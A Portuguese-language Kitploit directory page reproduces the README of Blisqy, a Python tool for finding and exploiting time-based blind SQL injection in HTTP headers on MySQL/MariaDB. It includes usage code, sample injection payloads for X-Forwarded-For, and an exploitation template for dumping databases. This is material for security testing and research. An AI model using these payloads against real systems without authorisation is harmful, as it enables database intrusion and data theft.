Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Blisqy — Versão 0.2 - Explorar injeção SQL cega baseada em tempo em cabeçalhos HTTP (MySQL/MariaDB). | Kitploit
Ferramentas/GitHubGitHub/johntroony/blisqy
Scanners de VulnerabilidadesExploraçãoSegurança WebFuzzingSegurança de Banco de Dados
GitHubjohntroony/blisqy

Blisqy

Versão 0.2 - Explorar injeção SQL cega baseada em tempo em cabeçalhos HTTP (MySQL/MariaDB).

Ver Repositório
416111há 7 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

1. Blisqy

Blisqy é uma ferramenta para ajudar pesquisadores de Segurança Web a encontrar injeção SQL cega baseada em tempo em cabeçalhos HTTP e também exploração da mesma vulnerabilidade.

A exploração permite extração lenta de dados de um banco de dados (atualmente suporta apenas MySQL/MariaDB) usando operação bit a bit em caracteres ASCII imprimíveis, através de uma injeção SQL cega.

Para interoperabilidade com outras ferramentas Python e para permitir que outros usuários utilizem os recursos fornecidos pelo Blisqy, os módulos aqui podem ser importados para outros scripts baseados em Python.

Ao testar injeções SQL cegas baseadas em tempo, qualquer latência ou congestionamento de rede pode afetar a eficácia do seu fuzzing ou exploração. Para compensar possíveis latências de rede e incertezas que possam causar atrasos, a comparação de tempo do Blisqy é dinâmica e calculada em tempo de execução para cada teste. Os testes utilizam greenlet (uma unidade de execução cooperativa leve) para fornecer uma API síncrona de alto nível sobre o loop libevevent. Isso fornece uma maneira rápida e eficiente de realizar os testes de payload em pouco tempo, além disso, um teste específico não deve afetar outro porque não são feitos completamente de forma sequencial.

1.1. Novo(s) recurso(s)

Blisqy agora suporta fuzzing para injeção SQL cega baseada em tempo em cabeçalhos HTTP e as principais funcionalidades (fuzzing e exploração) separadas em arquivos independentes para portabilidade.

1.2. Fuzzing com Blisqy

Para usar a funcionalidade de Fuzzing, importe o seguinte módulo em seu script Python e forneça um destino junto com os dados de fuzzing conforme mostrado abaixo:

root@kitploit:~
from lib.blindfuzzer import blindSeeker

Os parâmetros de destino devem estar em formato Dicionário/JSON, por exemplo (Observe os tipos de dados das variáveis):

root@kitploit:~
    Server = '192.168.56.101'
    Port = 80
    Index = 1
    Method = 'GET'
    Headerfile = "fuzz-data/headers/default_headers.txt"
    Injectionfile = "fuzz-data/payloads/mysql_time.txt"

    target_params = {
        'server': Server,
        'port': Port,
        'index': Index,
        'headersFile': Headerfile,
        'injectionFile': Injectionfile,
        'method': Method
    }

Invocar o fuzzer assim que os parâmetros de destino forem fornecidos é como mostrado abaixo:

root@kitploit:~
vulns = blindSeeker(target_params)
vulns.fuzz()

Você pode conferir FindBlindSpot.py para este exemplo fornecido.

1.2.1. Exemplo de Saída do Fuzzing

Se você for bem-sucedido, deverá obter um relatório dos testes 'injetáveis' realizados. Observe que, por mais que o Blisqy tente compensar latências e congestionamentos de rede durante os testes, é importante testar novamente os resultados positivos relatados antes de prosseguir.

Abaixo está um relatório de exemplo:

root@kitploit:~
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record  = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index

===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.



[+] Injection : X-Forwarded-For : ' or sleep(1)#

[+] Header : X-Forwarded-For

[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________

[+] Injection : X-Forwarded-For : ' or sleep(1)='

[+] Header : X-Forwarded-For

[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________

Captura de tela do Fuzzer Blisqy em ação:

Fuzz for Blind SQLi

1.3. Exploração com Blisqy

Após encontrar uma potencial injeção SQL cega baseada em tempo, você pode preparar um script para explorar a aplicação Web vulnerável.

Assim como o fuzzer, você pode importar o módulo para exploração em seu script Python e definir um template para a operação de exploração. Abaixo está um exemplo de como importar o módulo em um script Python:

root@kitploit:~
from lib.blindexploit import SqlEngine

Em seguida, você precisará fornecer detalhes do seu destino juntamente com seus parâmetros de destino para exploração. Abaixo está uma implementação de exemplo de exploração da injeção SQL cega encontrada pelo fuzzer:

Os dados de destino devem estar em formato Dicionário/JSON especificando o servidor, porta, o cabeçalho vulnerável encontrado e seu valor (algumas aplicações precisarão ou verificarão um determinado valor). Também Observe os tipos de dados das variáveis.

root@kitploit:~
target = {
    'server': '192.168.56.101',
    'port': 80,
    'vulnHeader': 'X-Forwarded-For',
    'headerValue': 'fuzzer'
}

Os parâmetros de destino devem seguir, permitindo que o usuário especifique algumas opções relacionadas às preferências de exploração.

root@kitploit:~
targetParam = {
    'sleepTime': 0.1,
    'payload': 'pass',
    'mysqlDig': 'yes',
    'interactive': 'on',
    'verbosity': 'high'
}
  • sleepTime é o atraso a ser usado nos payloads.
  • payload é uma opção para executar a exploração com uma consulta SQL personalizada, ex: select @@hostname. A opção padrão é 'pass'.
  • mysqlDig permite que a exploração seja automática e enumere todas as tabelas disponíveis no esquema.
  • interactive é uma opção para permitir que o usuário interaja com a rotina de exploração. Isso pode ser útil quando você deseja pular para as partes interessantes do banco de dados.
  • verbosity pode ser 'high', 'medium' ou 'low'. Isso apenas controla a informação de saída da rotina de exploração.

Após fornecer seu destino e seus parâmetros, a próxima coisa a fornecer é um template para a rotina de exploração. O Blisqy fornece uma maneira dos usuários especificarem onde injetar o payload SQL de exfiltração e o atraso sleeptime. Abaixo está um exemplo de implementação para uma das vulnerabilidades encontradas no relatório de exemplo fornecido na subseção anterior.

Injeção encontrada no cabeçalho X-Forwarded-For:

root@kitploit:~
' or sleep(1)='

Template para esta injeção particular:

root@kitploit:~
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"

Durante a execução, *sql* será substituído por um payload de injeção SQL e *time* será substituído por um atraso para sleep().

Depois de tudo isso, a última parte é instanciar a rotina de exploração e deixar o método MysqlDigger() fazer o trabalho.

root@kitploit:~
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)

# Enumerate the MySql Database
BlindSql.MysqlDigger()

Você pode conferir ExploitBlindSpot.py para este exemplo fornecido.

Abaixo está um exemplo de uma operação de exploração:

Exploit Blind SQLi

1.4. A Fazer

  • Integrar um Fuzzer inteligente para caçar vulnerabilidade(s) de injeção SQL em cabeçalhos HTTP e Elementos Web
  • Suportar fuzzing e exploração de Blind-SQLi em endpoints WEB além de cabeçalhos HTTP.

1.4.1. Contribuir

Você pode me alertar sobre qualquer coisa interessante que tenha encontrado com o Blisqy ou o que acha que deve ser adicionado/removido.

  • Compartilhe suas ideias e lista de desejos,
  • Encontrou um erro de digitação? Me avise,
  • Encontrou maneiras de otimizar o Blisqy?,
  • Sugira maneiras de incorporar suporte para outros SGBDs.

1.4.2. Referência

  • (PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Disponível em: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation

  • PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course

Baixar ferramenta